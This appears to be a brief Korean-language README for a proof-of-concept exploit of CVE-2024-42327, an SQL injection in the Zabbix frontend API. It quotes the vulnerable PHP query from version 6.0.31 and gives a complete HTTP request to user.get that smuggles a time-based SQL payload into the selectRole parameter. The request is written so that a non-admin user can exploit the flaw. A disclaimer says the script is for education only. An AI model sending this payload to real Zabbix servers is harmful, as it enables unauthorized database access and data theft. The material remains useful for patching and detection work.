
CVE-2024-42327 / ZBX-25623용 PoC
Zabbix 프론트엔드에서 기본 User 역할 또는 API 액세스 권한을 부여하는 다른 역할을 가진 비관리자 사용자 계정이 이 취약점을 악용할 수 있습니다. addRelatedObjects 함수의 CUser 클래스에 SQLi가 존재하며, 이 함수는 API 액세스 권한이 있는 모든 사용자에게 제공되는 CUser.get 함수에서 호출됩니다.
이 스크립트는 교육 목적으로만 제공됩니다!
6.0.31 버전의 다음 코드는 SQLi에 취약합니다:
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
다음 호출은 취약점을 트리거합니다:
POST /api_jsonrpc.php HTTP/1.1
Host: localhost
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1","2"]
},
"id": 1,
"auth": ""
}